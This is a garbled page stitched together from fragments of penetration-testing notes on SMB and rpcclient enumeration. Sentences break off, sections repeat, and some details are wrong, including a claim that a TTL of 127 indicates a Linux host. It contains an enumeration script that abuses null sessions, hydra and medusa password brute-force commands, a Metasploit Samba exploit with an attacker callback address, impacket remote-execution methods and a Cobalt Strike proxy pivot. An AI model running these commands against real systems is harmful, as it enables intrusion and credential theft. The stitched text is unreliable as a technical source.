[Update 2018-12-02] I just learned about smbmap, which is just great. At this point in time, if you can use anonymous sessions, then there are some very useful commands within the tool. If you get credentials, you can re-run to show new access: nmap --script smb-enum-shares -p 139,445 [ip]. enumkey Enumerate printer keys Obviously the SIDS are different but you can still pull down the usernames and start bruteforcing those other open services. Code Execution. The system operates as an application-layer network protocol primarily used for offering shared access to files, printers, serial ports, and other sorts of communications between nodes on a network. result was NT_STATUS_NONE_MAPPED IPC$ IPC Remote IPC May need to run a second time for success. lsaenumacctrights Enumerate the rights of an SID Enumerate Domain Groups. | Risk factor: HIGH The child-parent relationship here can also be depicted as client and server relation. | Type: STYPE_IPC_HIDDEN rpcclient $> enumprivs lsaremoveacctrights Remove rights from an account When dealing with SMB an attacker is bound to be dealt with the Network Shares on the Domain. After enumerating groups, it is possible to extract details about a particular group from the list. A NetBIOS name is up to 16 characters long and usually, separate from the computer name. ENUMERATING USER ACCOUNTS ON LINUX AND OS X WITH RPCCLIENT, Hacking Samba on Ubuntu and Installing the Meterpreter. 1433 - Pentesting MSSQL - Microsoft SQL Server. netname: PSC 2170 Series Curious to see if there are any "guides" out there that delve into SMB . Enumeration - Adithyan's Blog Depending on the user privilege it is possible to change the password using the chgpasswd command. Using lookupnames we can get the SID. Learn. On other systems, youll find services and applications using port 139. exit takes care of any password request that might pop up, since were checking for null login. S-1-5-21-1835020781-2383529660-3657267081-1000 LEWISFAMILY\root (1) S-1-5-21-1835020781-2383529660-3657267081-501 LEWISFAMILY\unknown (1) Chapter 2 - Recon & Enumeration - oscp 1080 - Pentesting Socks. rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-2001 dfsadd Add a DFS share rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-1009 This command will show you the shares on the host, as well as your access to them. -k, --kerberos Use kerberos (active directory) Enumerating Windows Domains with rpcclient through SocksProxy == Bypassing Command Line Logging, https://www.samba.org/samba/docs/current/man-html/rpcclient.1.html, https://github.com/SecureAuthCorp/impacket/tree/master/examples, https://www.cobaltstrike.com/help-socks-proxy-pivoting, https://www.youtube.com/watch?v=l8nkXCOYQC4&index=19&list=WL&t=7s, code execution on a target system and the beacon is calling back to the team server, PID 260 - beacon injected into dllhost process. dsroledominfo Get Primary Domain Information -i, --scope=SCOPE Use this Netbios scope, Authentication options: *[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " &, echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null, # smbenum 0.2 - This script will enumerate SMB using every tool in the arsenal, echo -e "\n########## Getting Netbios name ##########", echo -e "\n########## Checking for NULL sessions ##########", output=`bash -c "echo 'srvinfo' | rpcclient $IP -U%"`, echo -e "\n########## Enumerating domains ##########", bash -c "echo 'enumdomains' | rpcclient $IP -U%", echo -e "\n########## Enumerating password and lockout policies ##########", echo -e "\n########## Enumerating users ##########", nmap -Pn -T4 -sS -p139,445 --script=smb-enum-users $IP, bash -c "echo 'enumdomusers' | rpcclient $IP -U%", bash -c "echo 'enumdomusers' | rpcclient $IP -U%" | cut -d[ -f2 | cut -d] -f1 > /tmp/$IP-users.txt, echo -e "\n########## Enumerating Administrators ##########", net rpc group members "Administrators" -I $IP -U%, echo -e "\n########## Enumerating Domain Admins ##########", net rpc group members "Domain Admins" -I $IP -U%, echo -e "\n########## Enumerating groups ##########", nmap -Pn -T4 -sS -p139,445 --script=smb-enum-groups $IP, echo -e "\n########## Enumerating shares ##########", nmap -Pn -T4 -sS -p139,445 --script=smb-enum-shares $IP, echo -e "\n########## Bruteforcing all users with 'password', blank and username as password", hydra -e ns -L /tmp/$IP-users.txt -p password $IP smb -t 1, medusa -h $ip -u userhere -P /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt -M smbnt, nmap -p445 --script smb-brute --script-args userdb=userfilehere,passdb=/usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt $ip -vvvv, msfconsole; use auxiliary/scanner/smb/smb_version; set RHOSTS $ip; run, msfconsole; use exploit/multi/samba/usermap_script; set lhost 10.10.14.x; set rhost $ip; run, Windows 7, 8, 8.1 and Windows Server 2003/2008/2012(R2)/2016, nmap -p 445 $ip --script=smb-vuln-ms17-010, hydra -l administrator -P /usr/share/wordlists/rockyou.txt -t 1 $ip smb, smbclient \\\\192.168.1.105\\ipc$ -U john. result was NT_STATUS_NONE_MAPPED You can indicate which option you prefer to use with the parameter, # Using --exec-method {mmcexec,smbexec,atexec,wmiexec}, via SMB) in the victim machine and use it to, it is located on /usr/share/doc/python3-impacket/examples/, #If no password is provided, it will be prompted, Stealthily execute a command shell without touching the disk or running a new service using DCOM via, #You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted, Execute commands via the Task Scheduler (using, https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/, #Get usernames bruteforcing that rids and then try to bruteforce each user name, This attack uses the Responder toolkit to. ---- ----------- maybe brute-force ; 22/SSH. This command helps the attacker enumerate the security objects or permissions and privileges related to the security as demonstrated below. Query Group Information and Group Membership. 3. During that time, the designers of the rpcclient might be clueless about the importance of this tool as a penetration testing tool. It has undergone several stages of development and stability. remark: IPC Service (Mac OS X) The next command to demonstrate is lookupsids. found 5 privileges, SeMachineAccountPrivilege 0:6 (0x0:0x6) This will use, as you point out, port 445. March 8, 2021 by Raj Chandel. With --pw-nt-hash, the pwd provided is the NT hash, #Use --no-pass -c 'recurse;ls' to list recursively with smbclient, #List with smbmap, without folder it list everything. | Anonymous access: READ 135, 593 - Pentesting MSRPC - HackTricks SaAddUsers 0:65281 (0x0:0xff01) --------------- ---------------------- Description. If Im missing something, leave a comment. --------------- ---------------------- Shortcut to New Folder (2).lnk A 420 Sun Dec 13 05:24:51 2015 |_ https://technet.microsoft.com/en-us/library/security/ms06-025.aspx yet another reason to adjust your file & printer sharing configurations when you take your computer on the road (especially if you share your My Documents folder), Yeah so i was bored on the hotel wirelesserrr laband started seeing who had ports 135, 139, 445 open. When using querygroupmem, it will reveal information about that group member specific to that particular RID. enumforms Enumerate forms A null session is a connection with a samba or SMB server that does not require authentication with a password. In the demonstration, it can be observed that a query was generated for LSA which returned with information such as Domain Name and SID. 2. queryuseraliases Query user aliases getdompwinfo Retrieve domain password info WORKGROUP <1e> - M Use `proxychains + command" to use the socks proxy. -?, --help Show this help message enumtrust Enumerate trusted domains After establishing the connection, to get the grasp of various commands that can be used you can run the help. First one - two Cobalt Strike sessions: Second - attacker opens a socks4 proxy on port 7777 on his local kali machine (10.0.0.5) by issuing: {% code-tabs %} Adding it to the original post. OSCP notes: ACTIVE INFORMATION GATHERING. You can also fire up wireshark and list target shares with smbclient , you can use anonymous listing to explained above and after that find , # smbenum 0.2 - This script will enumerate SMB using every tool in the arsenal, echo -e "\n########## Getting Netbios name ##########", echo -e "\n########## Checking for NULL sessions ##########", output=`bash -c "echo 'srvinfo' | rpcclient $IP -U%"`, echo -e "\n########## Enumerating domains ##########", bash -c "echo 'enumdomains' | rpcclient $IP -U%", echo -e "\n########## Enumerating password and lockout policies ##########", echo -e "\n########## Enumerating users ##########", nmap -Pn -T4 -sS -p139,445 --script=smb-enum-users $IP, bash -c "echo 'enumdomusers' | rpcclient $IP -U%", bash -c "echo 'enumdomusers' | rpcclient $IP -U%" | cut -d[ -f2 | cut -d] -f1 > /tmp/$IP-users.txt, echo -e "\n########## Enumerating Administrators ##########", net rpc group members "Administrators" -I $IP -U%, echo -e "\n########## Enumerating Domain Admins ##########", net rpc group members "Domain Admins" -I $IP -U%, echo -e "\n########## Enumerating groups ##########", nmap -Pn -T4 -sS -p139,445 --script=smb-enum-groups $IP, echo -e "\n########## Enumerating shares ##########", nmap -Pn -T4 -sS -p139,445 --script=smb-enum-shares $IP, echo -e "\n########## Bruteforcing all users with 'password', blank and username as password", hydra -e ns -L /tmp/$IP-users.txt -p password $IP smb -t 1, hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt $ip smb, nmap -p445 --script smb-brute --script-args userdb=userfilehere,passdb=/usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt $ip -vvvv. It is possible to enumerate the minimum password length and the enforcement of complex password rules. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. | Comment: Remote Admin A tag already exists with the provided branch name. S-1-5-21-1835020781-2383529660-3657267081-2003 LEWISFAMILY\user (2) --------- -------, Starting Nmap 7.70 ( https://nmap.org ) at 2018-09-27 16:25 EDT If these kinds of features are not enabled on the domain, then it is possible to brute force the credentials on the domain. | Comment: Remote IPC | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143 -c, --command=COMMANDS Execute semicolon separated cmds Dec 2, 2018, PWK Notes: SMB Enumeration Checklist [Updated]. # lines. After establishing the connection, to get the grasp of various commands that can be used you can run the help. If in the above example the ttl=127, then it is safe to assume (from this information alone) that the host, 10.10.10.10, is a Linux host. The ability to enumerate individually doesnt limit to the groups but also extends to the users. . The next command to observe is the lsaquerysecobj command. rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-1004 | State: VULNERABLE Adding it to the original post. There was a Forced Logging off on the Server and other important information. [hostname] <20> - M At last, it can be verified using the enumdomusers command. Learn offensive CTF training from certcube labs online . result was NT_STATUS_NONE_MAPPED Enumerating Windows Domains with rpcclient through SocksProxy == Bypassing Command Line Logging This lab shows how it is possible to bypass commandline argument logging when enumerating Windows environments, using Cobalt Strike and its socks proxy (or any other post exploitation tool that supports socks proxying). offensive security. wwwroot Disk REG SRVSVC rpcclient $> netshareenum Obviously the SIDS are different but you can still pull down the usernames and start bruteforcing those other open services . | \\[ip]\C$: netremotetod Fetch remote time of day [STATUS] 29.00 tries/min, 29 tries in 00:01h, 787 todo in 00:28h I tend to check: nbtscan. Moving on, same way, they can query info about specific AD users: Enumerate current user's privileges and many more (consult rpcclient for all available commands): Finally, of course they can run nmap if needed: Impacket provides even more tools to enumerate remote systems through compromised boxes. WARNING: Restorefile (./hydra.restore) from a previous session found, to prevent overwriting, you have 10 seconds to abort

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